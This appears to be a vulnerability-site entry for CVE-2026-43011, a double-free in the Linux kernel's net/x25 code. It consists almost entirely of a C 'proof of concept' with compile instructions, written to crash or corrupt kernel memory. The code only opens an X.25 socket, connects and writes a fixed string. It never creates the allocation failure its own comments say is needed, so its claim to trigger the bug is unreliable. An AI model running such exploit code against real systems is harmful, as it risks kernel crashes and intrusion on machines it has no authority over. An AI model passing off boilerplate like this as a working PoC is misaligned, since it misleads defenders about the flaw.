CVE-2026-43011 Linux内核net/x25双重释放漏洞

/* * PoC for CVE-2026-43011: Linux kernel net/x25 Double Free * This code attempts to trigger the vulnerability by sending malformed * X.25 data to force the allocation failure path. * Compile: gcc -o poc_x25 poc_x25.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/x25.h> int main() { int sockfd; struct sockaddr_x25 addr; char *data = "TRIGGER_DATA"; // Create an X.25 socket sockfd = socket(AF_X25, SOCK_SEQPACKET, 0); if (sockfd < 0) { perror("socket"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sx25_family = AF_X25; // Set a target X.25 address memcpy(addr.sx25_addr.x25_addr, "0001", 4); // Attempt to connect to trigger the receive path logic // Note: Actual exploitation requires specific kernel configuration // and memory pressure to force alloc_skb failure. if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); close(sockfd); return -1; } // Send data to potentially trigger the rx_frame queue processing write(sockfd, data, strlen(data)); printf("[+] Data sent, check kernel logs for crashes or double free corruption.\n"); close(sockfd); return 0; }